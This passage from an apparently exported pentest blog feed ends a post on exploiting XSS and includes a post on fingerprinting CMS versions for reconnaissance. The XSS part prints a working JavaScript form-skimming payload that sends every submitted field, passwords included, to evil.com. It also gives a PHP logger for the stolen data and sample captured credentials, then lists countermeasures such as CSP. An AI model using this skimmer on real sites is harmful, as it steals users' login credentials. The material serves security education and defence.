  &lt;li&gt;Fonts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@font-face&lt;/code&gt;. Some browsers allow cross-origin fonts, others require same-origin fonts.&lt;/li&gt;
  &lt;li&gt;Anything with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;frame&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;. A site can use the X-Frame-Options header to prevent this form of cross-origin interaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But in fact whatever… we are owning the web server we would be able to add if it was necessary the response header &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;access-control-allow-origin: *&lt;/code&gt; for any resources.&lt;/p&gt;

&lt;p&gt;But what kind of cool javascript payload can we inject? (knowing that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSESSIONID&lt;/code&gt; cookie has the flag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt;, so not accessible via javascript).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/xss-practical-case/image3.png&quot; alt=&quot;image3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We will add a callback function that will be triggered once the forms on the webpage will be submitted&lt;/strong&gt; (allowing us to capture the credentials).&lt;br /&gt;
Check &lt;a href=&quot;https://github.com/phackt/pentest/tree/master/exploits/js_keylogger&quot;&gt;https://github.com/phackt/pentest/tree/master/exploits/js_keylogger&lt;/a&gt; for source code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;POC.JS&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
	  	&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;submit&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	  		&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
	  			&lt;span class=&quot;nx&quot;&gt;keys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[name:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,value:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,type:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	  			&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://evil.com/key.php?c=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	  		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    	&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;key.php&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;c&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$logfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;data.txt&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;a+&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;fwrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$logfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;c&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$logfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So suppose you are receiving a link which exploits the XSS vulnerability and you innocently enter your credentials to check your account, the attacker will receive:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[name:CONNEXIONCOMPTE_2NUMSECURITESOCIALE,value:1234567890123,type:text]
[name:connexioncompte_2codeConfidentiel,value:89769874,type:password]
[name:connexioncompte_2actionEvt,value:connecter,type:hidden]
[name:submit,value:Valider,type:submit]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This kind of vulnerability could be part of a &lt;strong&gt;phishing campaign&lt;/strong&gt; which encourages people to log in by clicking on the malicious link.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;COUNTERMEASURES&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;HTML Encoding (HTML entities and numeric character references) - &lt;a href=&quot;https://en.wikipedia.org/wiki/Character_encodings_in_HTML&quot;&gt;https://en.wikipedia.org/wiki/Character_encodings_in_HTML&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Sanitizing&lt;/li&gt;
  &lt;li&gt;Escaping&lt;/li&gt;
  &lt;li&gt;White-listing&lt;/li&gt;
  &lt;li&gt;Block inline javascript via CSP (&lt;em&gt;X-XSS-Protection is deprecated and will be replaced by the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;CSP&lt;/a&gt; directive Reflected-XSS&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Dealing with external resources, blocking all cross domains requests via a Content Security Policy rule may be not relevant because a lot of these resources are legitimate on a website.&lt;br /&gt;
However we can do some subtle CSP rules in order to allow only what is needed.&lt;/p&gt;

&lt;p&gt;But if a web site administrator wants to allow only resources from the &lt;em&gt;same origin&lt;/em&gt; (this excludes subdomains):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Security-Policy: default-src &apos;self&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Web applications are really interesting because of all the concepts you have to deal with.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed.&lt;/p&gt;

&lt;p&gt;Phackt.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Fingerprinting Web Application static files</title>
   <link href="https://phackt.org/fingerprint-web-application-static-files"/>
   <updated>2017-06-05T00:00:00+00:00</updated>
   <id>https://phackt.org/fingerprint-web-application-static-files</id>
   <content type="html">&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;Today i would like to share with you the first version of a script i wrote to help determining the version of a software.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So what the hell am i talking about?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Ok let me explain the context: You are looking at a website and trying to get the exact version of the underlying CMS, let say Drupal. We know that Drupal has suffered from the &lt;a href=&quot;https://www.drupal.org/project/drupalgeddon&quot;&gt;Drupalgeddon&lt;/a&gt; for versions 7.X before 7.32. So you can have at look at some obvious files (CHANGELOG.txt), but what happens if the webmaster deleted these files? How to maximize the chance to find the right version or at least the smallest delta as possible ?
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;A tool was existing for that purpose, &lt;a href=&quot;https://github.com/lokifer/BlindElephant&quot;&gt;BlindElephant&lt;/a&gt;, but it is not maintained anymore. So i chose to write my own script matching my needs. Of course don’t hesitate to contact me and let me know if you took time to have BlindElephant in a working state with the CMS hashes databases up-to-date.&lt;/p&gt;

&lt;p&gt;So let’s say that after your recon phase you have your target using Drupal CMS (it will work with &lt;strong&gt;any CMS files versioned on GIT&lt;/strong&gt;).&lt;br /&gt;
For now we will install a Drupal on our local machine.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/jekyc/wig&quot;&gt;WebApp Information Gatherer&lt;/a&gt; may helps your to identify it:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./wig.py http://localhost/drupal
...
Name           Versions          Type               
Drupal         7                 CMS   
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course if you can hit some files leaking the CMS version, in this case everything is already folded:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl --silent http://localhost/drupal/CHANGELOG.txt | head -1
Drupal 7.29, 2014-07-16
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You also can look for some obvious information in the response headers or for any meta information in the HTML page. But if the webmaster did its job, nothing will leak so how can we fingerprint our CMS?&lt;/p&gt;

&lt;p&gt;What do you need:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt; the GIT repository of the CMS (ex &lt;a href=&quot;https://github.com/drupal/drupal&quot;&gt;https://github.com/drupal/drupal&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;find the most relevant (updated) files as input files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git log&lt;/code&gt;, we will see it later)&lt;/li&gt;
  &lt;li&gt;download these files from your target&lt;/li&gt;
  &lt;li&gt;hash all these input files and their GIT releases equivalent&lt;/li&gt;
  &lt;li&gt;compare input files hashes with the releases ones&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Following all these steps will help to determine the most likely versions of the underlying CMS.&lt;/p&gt;

&lt;p&gt;So first download the last version of &lt;a href=&quot;https://raw.githubusercontent.com/phackt/pentest/master/fingerprint/web/versionchecker.sh&quot;&gt;versionchecker.sh&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; wget https://raw.githubusercontent.com/phackt/pentest/master/fingerprint/web/versionchecker.sh
&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x versionchecker.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then clone the &lt;a href=&quot;https://github.com/drupal/drupal&quot;&gt;Drupal repo&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/drupal/drupal.git
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;drupal/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we will look for our relevant input files:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git log &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--pretty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;format: &lt;span class=&quot;nt&quot;&gt;--name-only&lt;/span&gt; | egrep &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^core/&quot;&lt;/span&gt; | egrep &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;(.js&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.html&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.css&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;uniq&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rg&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-30&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;tee&lt;/span&gt; /tmp/relevant_files.txt
warning: inexact rename detection was skipped due to too many files.
warning: you may want to &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;your diff.renameLimit variable to at least 4708 and retry the command.
    170 misc/drupal.css
    106 themes/seven/style.css
    106 themes/garland/style.css
    102 misc/drupal.js
     85 modules/system/system.css
     78 modules/overlay/overlay-parent.js
     72 themes/bartik/css/style.css
     67 misc/tabledrag.js
     57 misc/autocomplete.js
     55 themes/xtemplate/xtemplate.css
     55 modules/system/system.js
     52 misc/ajax.js
     42 misc/collapse.js
     41 misc/textarea.js
     41 misc/tableheader.js
     37 themes/pushbutton/style.css
     35 themes/bluemarine/style.css
     35 modules/user/user.js
     35 misc/progress.js
     33 modules/user/user.css
     32 modules/toolbar/toolbar.css
     30 misc/tableselect.js
     29 modules/system/admin.css
     28 themes/garland/style-rtl.css
     28 misc/jquery.js
     26 modules/color/color.js
     26 modules/block/block.js
     25 misc/teaser.js
     24 themes/bartik/css/style-rtl.css
     24 modules/node/node.css
     23 themes/chameleon/common.css
     23 modules/toolbar/toolbar.js
     23 modules/system/system-rtl.css
     22 modules/dashboard/dashboard.css
     22 misc/ahah.js
     21 themes/garland/fix-ie.css
     20 themes/xtemplate/pushbutton/xtemplate.css
     20 modules/overlay/overlay-parent.css
     20 modules/openid/openid.js
     20 modules/book/book.css
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are looking for the most commited static files (.js, .html, .css), not beginning by &lt;em&gt;core/&lt;/em&gt; (Drupal 8 hierarchy, we are looking for a Drupal 7 version here) and saving the results in &lt;em&gt;/tmp/relevant_files.txt&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Let’s download these files from our target in order to be processed by the &lt;strong&gt;versionchecker.sh&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; ../input &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ../input
&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;file &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/relevant_files.txt | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/^ +//g&apos;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f2&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;wget &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://localhost/drupal/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the input directory we need to keep the hierarchy of relevant files in order to find them in the GIT repo. Some files may not be found for the target release. As an option, you can pass a pattern to grep the tags you want after the script has executed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git tag&lt;/code&gt; command (to find all the releases).&lt;/p&gt;

&lt;p&gt;Let’s run our &lt;strong&gt;versionchecker.sh&lt;/strong&gt; (currently only working for git versioning system):&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; .. &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./versionchecker.sh &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; ./input/ &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; ./drupal/ &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^[78]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[0-9.]+$&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Input files directory: /tmp/input
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Cleaning empty files and directory &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /tmp/input - Done
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; GIT repository: /root/Documents/repo/drupal
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Grep pattern: ^7&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0-9]+&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
        ___           ___           ___           ___                       ___           ___       
       /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;         ___        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     
      /:/  /        /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;       /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     /::&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;      /::|  |     
